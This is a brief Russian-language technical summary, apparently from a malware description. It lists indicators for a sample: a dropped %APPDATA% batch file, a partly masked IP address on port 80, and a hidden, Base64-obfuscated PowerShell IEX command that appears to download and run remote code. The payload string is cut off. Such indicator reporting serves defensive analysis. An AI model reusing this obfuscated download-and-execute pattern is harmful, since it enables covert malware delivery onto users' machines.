Техническая информация
- '<SYSTEM32>\cmd.exe' /c ""%APPDATA%\YJoCs.bat" "
- %APPDATA%\yjocs.bat
- %APPDATA%\yjocs.bat
- '96.##.235.202':80
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle hidden IEX([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JHdlMjI9J2VXLnRlTiB0YycgKyAnZWpiTy13ZU4oJzsgJGI0ZGY9J29sbndvRC4pdG5laScgKyAnbENiJzsgJGMzPScpJy...